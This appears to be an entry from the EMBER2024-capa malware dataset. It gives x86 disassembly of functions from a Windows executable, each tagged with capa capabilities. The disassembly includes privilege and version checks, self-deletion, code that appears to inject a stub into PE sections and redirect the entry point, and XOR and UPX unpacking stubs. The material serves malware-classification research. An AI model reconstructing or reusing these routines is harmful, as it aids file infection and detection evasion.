joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401cda
Capabilities:
Accept command line arguments
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x2c0
push ebx
push esi
push edi
call fcn.004029c6
mov esi, 0x9c
push esi
mov ebx, eax
xor edi, edi
lea eax, [ebp - 0x40]
push edi
push eax
call fcn.00403510
add esp, 0xc
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetVersionExA]
push eax
call esi
test eax, eax
jne 0x401d2c
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x40], 0x94
call esi
test eax, eax
je 0x401e8f
cmp dword [ebp - 0x3c], 6
mov dword [ebp + 0x60], edi
jb 0x401d4d
lea eax, [ebp + 0x60]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call fcn.0040289c
test eax, eax
je 0x401e8f
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
lea eax, [ebp + 0x64]
push eax
lea eax, [ebp + 0x68]
push eax
lea eax, [ebp + 0x6c]
push eax
lea eax, [ebp + 0x5c]
push eax
push edi
mov dword [ebp + 0x5c], edi
mov dword [ebp + 0x6c], edi
mov dword [ebp + 0x68], edi
mov dword [ebp + 0x64], edi
call esi
push eax
call fcn.00402308
test eax, eax
je 0x401e8a
cmp dword [ebp + 0x5c], edi
jne 0x401e7c
cmp dword [ebp + 0x64], edi
jne 0x401e7c
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x401e7c
push 0x103
lea eax, [ebp - 0x144]
push eax
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp + 0x70]
push eax
lea eax, [ebp + 0x74]
push eax
lea eax, [ebp - 0x144]
push eax
mov dword [ebp + 0x74], edi
mov dword [ebp + 0x70], edi
call fcn.0040250c
test eax, eax
je 0x401e7c
mov ecx, dword [ebp + 0x74]
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov ecx, 0x2000
or word [eax + 0x16], cx
cmp dword [ebp - 0x3c], 6
jb 0x401e3b
cmp ebx, edi
jne 0x401dfe
cmp dword [ebp + 0x6c], edi
je 0x401e3b
cmp dword [ebp + 0x60], 0x3000
jae 0x401e68
cmp dword [ebp + 0x68], edi
jne 0x401e68
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x248]
push 0x401174
push eax
call fcn.00403e87
add esp, 0xc
lea eax, [ebp - 0x248]
push eax
push dword [ebp + 0x70]
push dword [ebp + 0x74]
call fcn.00402bdc
jmp 0x401e68
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x248]
push 0x401164
push eax
call fcn.00403e87
add esp, 0xc
lea eax, [ebp - 0x248]
push eax
push dword [ebp + 0x70]
push dword [ebp + 0x74]
call fcn.00403143
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push dword [ebp + 0x74]
call dword [sym.imp.KERNEL32.DLL_LocalFree]
call fcn.004022dc
test eax, eax
jne 0x401e8a
call fcn.00401434
call fcn.00402481
pop edi
pop esi
xor eax, eax
pop ebx
add ebp, 0x78
leave
ret
Function at 0x401e99
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x104
dec eax
jne 0x401f62
push esi
push edi
push 0x104
lea eax, [ebp - 0x104]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov esi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
call esi
lea eax, [ebp - 0x104]
push eax
call fcn.004021bb
push 0x4011a8
lea eax, [ebp - 0x104]
push eax
call fcn.004025cb
push eax
call fcn.00403590
pop ecx
pop ecx
test eax, eax
je 0x401f69
push 0x40119c
lea eax, [ebp - 0x104]
push eax
call fcn.004025cb
push eax
call fcn.00403590
pop ecx
pop ecx
test eax, eax
je 0x401f69
push 0x401190
lea eax, [ebp - 0x104]
push eax
call fcn.004025cb
push eax
call fcn.00403590
pop ecx
pop ecx
test eax, eax
jne 0x401f60
lea eax, [ebp + 0xc]
push eax
mov dword [ebp + 0xc], edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call fcn.0040289c
test eax, eax
je 0x401faf
cmp dword [ebp + 0xc], 0x3000
jb 0x401faf
push 0x50574e44
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
pop edi
pop esi
xor eax, eax
inc eax
leave
ret 0xc
push 0x401180
push edi
push 2
call dword [sym.imp.KERNEL32.DLL_OpenEventA]
mov ebx, eax
cmp ebx, edi
je 0x401f8d
push ebx
call dword [sym.imp.KERNEL32.DLL_SetEvent]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x401f93
call dword [sym.imp.KERNEL32.DLL_GetLastError]
call fcn.004027dd
test eax, eax
je 0x401faf
call esi
push eax
call fcn.00402822
cmp eax, edi
jbe 0x401faf
push edi
push eax
call fcn.00401c33
push edi
jmp 0x401f5a

Function at 0x401fb2
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, dword [esp + 8]
push 2
push esi
call dword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
jne 0x401ff4
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x401ff4
mov eax, dword [esp + 0xc]
cmp eax, 1
je 0x401fe5
test eax, eax
je 0x401fe5
cmp eax, 2
je 0x401fe5
cmp eax, 3
jne 0x401ff4
push dword [esp + 0x10]
push eax
push esi
call fcn.00401e99
pop esi
ret 0xc
call fcn.00401cda
push eax
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x402001
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [0x405030], eax
inc ecx
mov eax, 0x405030
push esi
mov edx, dword [eax]
mov esi, edx
shr esi, 0x1e
xor esi, edx
imul esi, esi, 0x6c078965
add esi, ecx
mov dword [eax + 4], esi
add eax, 4
inc ecx
cmp eax, 0x4059ec
jl 0x402013
mov dword [0x405020], ecx
pop esi
ret 4
Function at 0x4021ed
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
je 0x402288
push esi
lea eax, [ebp - 0x104]
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
test eax, eax
je 0x402288
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push 0x4011fc
push eax
call fcn.00403e87
add esp, 0xc
push esi
lea eax, [ebp - 0x104]
push eax
push 0x4011f4
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
test eax, eax
je 0x402288
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x4011f0
lea eax, [ebp - 0x104]
push eax
call esi
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call esi
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
pop esi
leave
ret

Function at 0x402308
Capabilities:
Accept command line arguments
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x64]
sub esp, 0xa0
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.00402001
mov eax, dword [ebp + 0x6c]
mov dword [0x405a00], eax
call fcn.004022dc
test eax, eax
je 0x402337
xor eax, eax
jmp 0x40247a
push esi
mov esi, 0x9c
push esi
lea eax, [ebp - 0x3c]
push 0
push eax
call fcn.00403510
add esp, 0xc
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetVersionExA]
push eax
call esi
test eax, eax
jne 0x402370
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], 0x94
call esi
test eax, eax
je 0x402382
cmp dword [ebp - 0x38], 5
jne 0x40237c
cmp dword [ebp - 0x34], 1
jae 0x402389
cmp dword [ebp - 0x38], 6
jae 0x402389
xor eax, eax
jmp 0x402479
and dword [ebp + 0x60], 0
push ebx
lea eax, [ebp + 0x60]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, eax
test ebx, ebx
je 0x402439
push edi
xor edi, edi
inc edi
cmp dword [ebp + 0x60], edi
jle 0x402431
lea esi, [ebx + edi*4]
push 0x401278
push dword [esi]
call fcn.00403a11
pop ecx
pop ecx
test eax, eax
jne 0x4023d3
mov dword [0x405a04], 1
jmp 0x40242b
push 0x401264
push dword [esi]
call fcn.00403a11
pop ecx
pop ecx
test eax, eax
jne 0x4023f1
mov dword [0x405a08], 1
jmp 0x40242b
push 0x401258
push dword [esi]
call fcn.00403a11
pop ecx
pop ecx
test eax, eax
jne 0x40240f
mov dword [0x405a0c], 1
jmp 0x40242b
push 0x401240
push dword [esi]
call fcn.00403a11
pop ecx
pop ecx
test eax, eax
jne 0x40242b
mov dword [0x405a10], 1
inc edi
cmp edi, dword [ebp + 0x60]
jl 0x4023b2
push ebx
call dword [sym.imp.KERNEL32.DLL_LocalFree]
pop edi
mov eax, dword [ebp + 0x70]
pop ebx
test eax, eax
je 0x402449
mov ecx, dword [0x405a04]
mov dword [eax], ecx
mov eax, dword [ebp + 0x74]
test eax, eax
je 0x402458
mov ecx, dword [0x405a08]
mov dword [eax], ecx
mov eax, dword [ebp + 0x78]
test eax, eax
je 0x402467
mov ecx, dword [0x405a0c]
mov dword [eax], ecx
mov eax, dword [ebp + 0x7c]
test eax, eax
je 0x402476
mov ecx, dword [0x405a10]
mov dword [eax], ecx
xor eax, eax
inc eax
pop esi
add ebp, 0x64
leave
ret 0x14
Function at 0x4024aa
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor esi, esi
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4024fe
push esi
lea eax, [ebp + 8]
push eax
push dword [ebp + 0x10]
mov dword [ebp + 8], esi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x4024e8
inc esi
jmp 0x4024ee
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push edi
call dword [sym.imp.KERNEL32.DLL_FlushFileBuffers]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x402504
call dword [sym.imp.KERNEL32.DLL_GetLastError]
pop edi
mov eax, esi
pop esi
pop ebp
ret 0xc

Function at 0x40250c
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 1
push 0x80000000
push dword [ebp + 8]
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40258c
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, dword [ebp + 0x10]
push eax
push 0x40
mov dword [esi], eax
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
cmp eax, edi
je 0x40257a
push edi
lea ecx, [ebp + 8]
push ecx
push dword [esi]
mov dword [ebp + 8], edi
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x402572
mov dword [ebp - 4], 1
jmp 0x402582
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x402582
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [esi], edi
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop esi
jmp 0x402592
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov eax, dword [ebp - 4]
pop edi
pop ebx
leave
ret 0xc

Function at 0x4027dd
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
test eax, eax
je 0x402818
xor eax, eax
cmp dword [ebp - 0x84], 2
jne 0x402820
cmp dword [ebp - 0x90], 6
sete al
leave
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor eax, eax
leave
ret

Function at 0x402822
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
xor edi, edi
push edi
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x40288e
lea eax, [ebp - 0x128]
push eax
push esi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x40287f
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp + 8]
je 0x402877
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x402859
jmp 0x402885
mov edi, dword [ebp - 0x110]
jmp 0x402885
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x402894
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov eax, edi
pop edi
pop esi
leave
ret 4
Function at 0x40289c
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0xa4
push ebx
mov ebx, dword [ebp + 0x7c]
push esi
push edi
xor edi, edi
mov dword [ebp + 0x68], edi
mov dword [ebp + 0x6c], edi
cmp ebx, edi
je 0x4029ba
mov esi, 0x9c
push esi
lea eax, [ebp - 0x34]
push edi
push eax
mov dword [ebx], edi
call fcn.00403510
add esp, 0xc
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetVersionExA]
push eax
call esi
test eax, eax
jne 0x4028fa
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x34], 0x94
call esi
test eax, eax
je 0x4029ba
cmp dword [ebp - 0x30], 6
jb 0x4029ba
lea eax, [ebp + 0x6c]
push eax
push 0x18
push dword [ebp + 0x78]
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4029af
lea eax, [ebp + 0x7c]
push eax
push edi
push edi
push 0x19
push dword [ebp + 0x6c]
mov dword [ebp + 0x7c], edi
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call edi
test eax, eax
jne 0x40299e
mov esi, dword [sym.imp.KERNEL32.DLL_GetLastError]
call esi
cmp eax, 0x7a
jne 0x40299a
push dword [ebp + 0x7c]
push 0x40
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov esi, eax
test esi, esi
je 0x40299e
lea eax, [ebp + 0x7c]
push eax
push dword [ebp + 0x7c]
push esi
push 0x19
push dword [ebp + 0x6c]
call edi
test eax, eax
je 0x40298b
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov al, byte [eax]
dec al
movzx eax, al
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov eax, dword [eax]
mov dword [ebx], eax
mov dword [ebp + 0x68], 1
jmp 0x402991
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push esi
call dword [sym.imp.KERNEL32.DLL_LocalFree]
jmp 0x4029a4
call esi
jmp 0x4029a4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push dword [ebp + 0x6c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x4029b5
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov eax, dword [ebp + 0x68]
jmp 0x4029bc
xor eax, eax
pop edi
pop esi
pop ebx
add ebp, 0x70
leave
ret 8
Function at 0x4029c6
Capabilities:
Check os version
Get token membership

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xf8
push ebx
push esi
push edi
mov esi, 0x9c
push esi
xor edi, edi
lea eax, [ebp - 0x3c]
push edi
push eax
call fcn.00403510
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], esi
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
test eax, eax
jne 0x402a07
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor eax, eax
jmp 0x402af1
cmp dword [ebp - 0x2c], 2
jne 0x402aeb
cmp dword [ebp - 0x38], 6
jb 0x402aeb
lea eax, [ebp + 0x74]
push eax
push 8
mov dword [ebp + 0x74], edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402ae1
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp + 0x68]
push eax
push 4
lea eax, [ebp + 0x60]
push eax
push 0x12
push dword [ebp + 0x74]
mov dword [ebp + 0x68], edi
call esi
test eax, eax
jne 0x402a68
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push dword [ebp + 0x74]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x402a00
cmp dword [ebp + 0x60], 3
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
jne 0x402ad2
lea eax, [ebp + 0x68]
push eax
push 4
lea eax, [ebp + 0x70]
push eax
push 0x13
push dword [ebp + 0x74]
mov dword [ebp + 0x70], edi
call esi
test eax, eax
je 0x402a57
lea eax, [ebp + 0x64]
push eax
lea eax, [ebp - 0x80]
push eax
push edi
push 0x1a
mov dword [ebp + 0x64], 0x44
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x402ac5
lea eax, [ebp + 0x6c]
push eax
lea eax, [ebp - 0x80]
push eax
push dword [ebp + 0x70]
mov dword [ebp + 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x402ac5
mov edi, dword [ebp + 0x6c]
jmp 0x402acb
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push dword [ebp + 0x70]
call ebx
jmp 0x402ada
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov edi, eax
push dword [ebp + 0x74]
call ebx
jmp 0x402ae7
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov eax, edi
jmp 0x402af1
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
pop edi
pop esi
pop ebx
add ebp, 0x78
leave
ret
Function at 0x402af9
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
mov dword [ebp - 4], esi
cmp eax, esi
je 0x402b0f
mov dword [eax], esi
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
call fcn.00403e9d
pop ecx
pop ecx
add eax, 0x100
push eax
push 0x40
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov ebx, eax
cmp ebx, esi
jne 0x402b38
xor eax, eax
jmp 0x402bd8
push edi
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push ebx
call fcn.00403e92
push 0x10
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.00403510
push 0x44
pop edi
push edi
lea eax, [ebp - 0x58]
push esi
push eax
call fcn.00403510
add esp, 0x18
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x58], edi
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
xor eax, eax
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
xor edi, edi
push ebx
inc edi
push esi
mov dword [ebp - 0x2c], edi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x402bc7
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
cmp dword [ebp + 8], esi
je 0x402bb2
push dword [ebp + 8]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
mov dword [ebp - 4], edi
jmp 0x402bcd
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push ebx
call dword [sym.imp.KERNEL32.DLL_LocalFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402f02
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push dword [ebp + 0x10]
mov esi, 0x402f01
sub esi, 0x402e88
mov dword [ebp - 0xc], esi
call fcn.004020ec
and dword [ebp - 4], 0
lea eax, [eax + esi + 0x111]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov esi, dword [eax + 0x3c]
add esi, eax
movzx edi, word [esi + 6]
movzx eax, word [esi + 0x14]
lea ebx, [eax + esi + 0x18]
test edi, edi
je 0x40305b
push 5
push 0x4013b4
push ebx
call fcn.0040214c
test eax, eax
je 0x402f6c
add ebx, 0x28
inc dword [ebp - 4]
cmp dword [ebp - 4], edi
jb 0x402f4b
jmp 0x40305b
mov eax, dword [ebp - 8]
cmp dword [ebx + 0x10], eax
jae 0x402f7b
xor eax, eax
jmp 0x40305e
mov edi, dword [ebx + 0x14]
add edi, dword [ebp + 8]
push 0x110
push 0
push edi
call fcn.004020ce
mov eax, dword [esi + 0x28]
push 0x4013a4
push 0x40137c
mov dword [edi + 8], eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x40139c
push 0x40137c
mov dword [edi], eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
cmp dword [ebp + 0x14], 0
mov dword [edi + 4], eax
je 0x402fd9
push dword [ebp + 0x14]
lea eax, [edi + 0xc]
push eax
call fcn.00402194
push dword [ebp + 0x10]
lea eax, [edi + 0x110]
push eax
call fcn.00402194
push dword [ebp + 0x10]
call fcn.004020ec
push dword [ebp - 0xc]
lea edi, [eax + edi + 0x111]
push 0x402e88
push edi
call fcn.004020ae
push dword [ebp + 0x10]
call fcn.004020ec
mov ecx, dword [ebx + 0xc]
lea eax, [eax + ecx + 0x111]
mov dword [esi + 0x28], eax
or dword [ebx + 0x24], 0x20000000
xor eax, eax
mov dword [esi + 0x88], eax
mov dword [esi + 0x8c], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.imagehlp.dll_CheckSumMappedFile]
test eax, eax
je 0x403055
mov eax, dword [ebp - 4]
mov dword [esi + 0x58], eax
jmp 0x40305b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, reloc.untfs.dll_Recover
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219

Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x42e072
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x227d0b9d
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
mov esi, 0xbe9789e
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219